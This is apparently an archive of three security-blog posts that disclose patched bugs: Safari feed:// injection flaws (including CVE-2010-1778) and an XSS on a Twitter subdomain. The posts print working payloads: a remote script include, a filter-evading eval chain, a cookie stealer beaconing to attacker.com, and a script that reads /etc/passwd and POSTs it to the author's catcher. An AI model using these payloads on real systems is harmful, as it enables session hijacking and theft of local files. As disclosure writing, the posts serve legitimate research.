Monday, August 2nd, 2010

Stealing Files With Safari 5 (CVE-2010-1778)

Last week, Apple patched a bug in Safari I had reported to the Apple security team.  The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”.  The advisory can be found here (CVE-2010-1778).

Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”.  First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read.  It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader.  Safari takes bits of content from the RSS file and mixes it with some built-in markup.  Try browsing to this RSS feed with Firefox (http://xs-sniper.com/blog/feed/rss/) and do a quick view source.  Then try browsing to the same URL with Safari and view source.  You’ll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari’s transform).

When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript.  This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is NOT subject to the same origin policy.  This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol.  The specific bypass is here (although the Jay-Z content isn’t necessary for the exploit, it adds a bit of flava…):

<category term=”Hip Hop/Rap” scheme=”http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2″ label=”Hip Hop/Rap”/>

<link title=”Preview” rel=”enclosure” type=‘video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”>
</script>’
href=”data:text/html,testtesttest” im:assetType=”preview”><im:duration>30864</im:duration></link>

<im:artist href=”http://itunes.apple.com/us/artist/jay-z/id112080?uo=2″>Jay-Z</im:artist>

The XML above is transformed into the following by Safari’s feed processing routines:

<div>

<!– <img src=”feed:///__icon32__/video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”> </script>”> –>

<img src=”file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg” height=”32″ width=”32″/>

The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice.  A quick PoC can be found here (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml).  For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog.  A better payload would be to crawl certain log files, extracting the username of the current user.  Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into.  Various configuration and ini files could be useful as well.  I’m putting the final touches on a metasploit module that does just this :)

Posted by xssniper | Filed in Security, Web Application Security | 2 Comments »

Monday, July 19th, 2010

Twitter XSS Bug

I recently came across a XSS vulnerability on Twitter.  99% of XSS bugs are fairly straightforward and this bug was no exception.  Getting a simple alert box was easy, but creating a payload to actually do something valuable (steal the twitter cookie, post on behalf of the victim…etc) was interesting exercise.  Nothing earth shattering or new here, but I wanted to document this just in case someone else runs into a similar situation.

Cookie scoping – Twitter.com has multiple sub domains, one of which is apiwiki.twitter.com.  APIwiki is meant to be a resource for developers looking to utilize the twitter APIs.  Fortunately for the attacker (or unfortunately for Twitter) the session cookie that represents authentication is scoped to the parent Twitter domain (.twitter.com)

With such a widely scoped cookie, a XSS bug on any of the twitter subdomains means I can steal the twitter session cookie for www.twitter.com (which is where all the action takes place).  Subdomains like apiwiki.twitter.com typically receive less security attention than the flagship domain (for many reasons) but when the session cookie is scoped to the parent domain, bugs like XSS on these overlooked subdomains have the same impact as XSS on the flagship domain.  Twitter should consider restricting the scope of their session cookie or move nonessential stuff to an alternate domain.

The XSS bug – The actual XSS bug was found here:

http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=<XSS-HERE>

sdiff.php is looking to compare two different php files.  The querystring parameters named “first” and “second” both expect to have a php filename.  If an invalid filename was provided, an exception would be thrown and an error message would be displayed.  The error message looked something like this:

Looking at the HTML source of the error page, we see the following stacktrace in the HTML Markup.  The stacktrace contains our unsanitized, attacker controlled values.  Classic XSS straight out of Web app security 101.

The Payload – Now here’s where things got interesting.  Generating a quick alert box payload was simple. I simply supplied the following value for the “second” parameter:

&second=–%3E%3Cbody%20onload=javascript:alert(1)%3E.php

Now, when I tried something a bit more complicated, I realized that any periods within the payload (other than period in the trailing “.php”) would generate a different stack trace.  This second stack trace did not contain any attacker controlled data.  So essentially, I had to generate a javascript payload to without any periods.  There are a couple ways to do this… here’s how I did it:

1:  I pulled up the actual payload I wanted to execute.  In this case, it was a simple javascript payload to grab the twitter session cookie and send it to the attacker’s webserver:

var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;

2:  I appended this payload to the end of the attack URL using the # (hash) symbol.  Using the hash symbol is an old trick, primarily used to hide the XSS payload from the server.  An article written by Amit Klein was the earliest reference I could find that mentioned the hash trick back in 2005 (http://www.webappsec.org/projects/articles/071105.shtml).  In this case, I use the hash to get around the restrictions on my JavaScript payload.

&second=–%3E%3Cbody%20onload=javascript:alert(1)%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;

3:  Now that my payload is ready I now need to find a way to call the JavaScript after the hash character, but without any periods.  The JavaScript I want to execute is:  eval(document.location.hash.substr(1));  This would eval all the JavaScript following the hash mark.  Fortunately for us, everything in JavaScript is a property of an object and can be referenced in a couple ways (for the most part).  For example, the location property belongs to the document object.  The most common way to access the location property is to call document.location, but you can also access it by calling document[‘location’].  This can be done for any property and even functions, so our injected string without periods is:

eval(document['location']['hash']['substr'](1))

(kuza’s eval(window[‘name’]) should also work here)

The final URL looked like this:

http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=–%3E%3Cbody%20onload=javascript: eval(document['location']['hash']['substr'](1))%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies

I reported the bug to the Twitter security team and they addressed it in a timely manner.  It was a pleasure working with them.

Posted by xssniper | Filed in Uncategorized | 7 Comments »

Tuesday, June 9th, 2009

Safari 3.2.2 Feed Protocol Handler Issues

A few weeks ago, Apple released a patch for their Safari browser.  The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back.  The advisory can be found here.  This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year.  The details of the original vulnerability can be found here.  Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari’s feed handling.  Here’s what we ended up with:

Safari can consume various RSS feeds for video content and music from iTunes.  These RSS feeds contained information for each item on iTunes  including ID, title, summary, and links to download the content.  The RSS feed file looked something like this:

<?xml version=”1.0″ encoding=”utf-8″?>

<entry>
<updated>2009-02-16T05:17:15-07:00</updated>
<id>http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&amp;id=287463411&amp;s=143441</id>
<title>No Exit – Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel=”alternate” type=”text/html” href=”http://www.google.com” />
<im:contentType term=”TV Show” label=”TV Show”><im:contentType term=”TV Episode” label=”TV Episode”/></im:contentType>
<category term=”Sci Fi &amp; Fantasy” scheme=”scheme”/>

</entry>
</feed>

Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler.  As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system.   Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript.  The specific issue here involves the attacker controlled content provided to the “Summary” tags within the RSS feed file.  It seems that the content provided to the summary tag was missed by the encoding routines built into Safari.  We simply place Script tags within the summary tags and serve the file from our own server.

<title>No Exit – Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>

Which is converted to HTML by Safari and rendered under feed://  as:


<div class=”apple-rss-author” title=”iTunes Store”>iTunes Store</div>

<div class=”apple-rss-summary” >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>

<div class=”apple-rss-date” title=”Feb 16, 4:17 AM”>Feb 16, 4:17 AM</div>

Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):

<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(‘GET’, ‘file:///etc/passwd’, true);
req.send(”);

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open(‘POST’, ‘http://xs-sniper.com/sniperscope/catcher.php’, true);
req2.setRequestHeader(‘Content-Type’,'application/x-www-form-urlencoded’);
req2.send(‘filename=etcpasswd&filecontents=’+escape(stuff));
}
</script>
</summary>

This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta.  Both Windows and Mac systems were affected.  Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box).  On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll :)   Happy hunting!

BK

Posted by xssniper | Filed in Security | 4 Comments »